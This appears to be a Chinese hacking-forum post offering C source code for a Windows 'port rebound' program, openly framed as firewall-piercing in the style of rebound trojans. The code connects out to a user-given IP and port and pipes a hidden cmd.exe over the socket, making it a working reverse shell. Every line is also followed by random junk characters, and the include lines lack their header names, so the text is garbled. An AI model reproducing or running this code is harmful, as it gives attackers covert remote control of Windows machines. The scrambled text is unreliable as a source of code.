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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rEv$+pP  
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/* ============================== (]Y 5eM  
Rebound port in Windows NT m<j8cJ(  
By wind,2006/7 tE]= cTSV  
===============================*/ ">y%iE  
#include [Pq}p0cD  
#include A?-oL='  
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#pragma comment(lib,"wsock32.lib") \}p6v}  
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void OutputShell(); p2DrEId  
SOCKET sClient; w*oQ["SL  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9983aFam  
uF1~FKB  
void main(int argc,char **argv) @U3Vc|  
{ E ,|xJjh  
WSADATA stWsaData; )6|yb65ZUX  
int nRet; rL+!tH  
SOCKADDR_IN stSaiClient,stSaiServer; ]3KhgK%c8  
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if(argc != 3) Gu2P\I2zx  
{ & 8l%T'gd  
printf("Useage:\n\rRebound DestIP DestPort\n"); e S<lwA_  
return; @8;W\L$~1  
} /J:bWr  
BV>\ McI+  
WSAStartup(MAKEWORD(2,2),&stWsaData); .pN`;*7`  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =gJb^ Gx(w  
h $L/<3oP6  
stSaiClient.sin_family = AF_INET; ;uw Ryd  
stSaiClient.sin_port = htons(0); nij!1z|M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D"J!\_o  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +YqZ ((  
{ $CY't'6Hn  
printf("Bind Socket Failed!\n"); 6y6<JR-V2k  
return; ~:3QBMk::  
} DsT>3  
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stSaiServer.sin_family = AF_INET; \hM|(*DL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WIv?}gi: X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =y/8 ^^  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \9/ b!A  
{ Lz:(6`S  
printf("Connect Error!"); { Fawt:  
return; ~wJFa'2  
} IGtl\b=  
OutputShell(); >|twyb  
} " QWq_R  
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void OutputShell() _g~qu [1  
{ yp66{o  
char szBuff[1024]; ) *,5"CO  
SECURITY_ATTRIBUTES stSecurityAttributes; k[HAkB \{  
OSVERSIONINFO stOsversionInfo; tb$LriN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; brdmz}  
STARTUPINFO stStartupInfo; +=.W<b  
char *szShell; Kwg4sr5"D  
PROCESS_INFORMATION stProcessInformation; n(L\||#+  
unsigned long lBytesRead; ,=|ZB4HA  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w0C~*fn3l  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 72oF,42y  
stSecurityAttributes.lpSecurityDescriptor = 0; /ig:9R  
stSecurityAttributes.bInheritHandle = TRUE; Um: Hrjw  
dO4{|(z  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !kE-_dY6)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AKRTBjG"  
e(I =^#u6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hrhb!0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; US%^#D q  
stStartupInfo.wShowWindow = SW_HIDE; DXa-rk8  
stStartupInfo.hStdInput = hReadPipe; 9Iz%ht  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hb^7oq"a  
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GetVersionEx(&stOsversionInfo); `$B3X  
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switch(stOsversionInfo.dwPlatformId) l?Fb ='#  
{ qfK`MhA}  
case 1: &d5ia+ #  
szShell = "command.com"; tWoh''@#  
break; GF5^\Rf  
default: E5N{j4\F  
szShell = "cmd.exe"; QNxl/y\l0  
break; $.GOZqMs  
} ;Hj~n+  
bf!M#QOk?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H)>;/#!r-  
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send(sClient,szMsg,77,0); FN%m0"/Z{t  
while(1) y !!E\b=  
{ E Kz'&Gu  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^pe{b9c  
if(lBytesRead) +{L<? "  
{ YBP:q2H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >$,y5 AJ&  
send(sClient,szBuff,lBytesRead,0); N1}={yF.fQ  
} =@8H"&y`  
else hQDTS>U  
{ r?*NhLG ;  
lBytesRead=recv(sClient,szBuff,1024,0); [g Z"a*  
if(lBytesRead<=0) break; ty*@7g0k  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }-o{ASC#  
} y:h}z).  
} hweaGL t0  
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return; Wxbq)Z[V  
}
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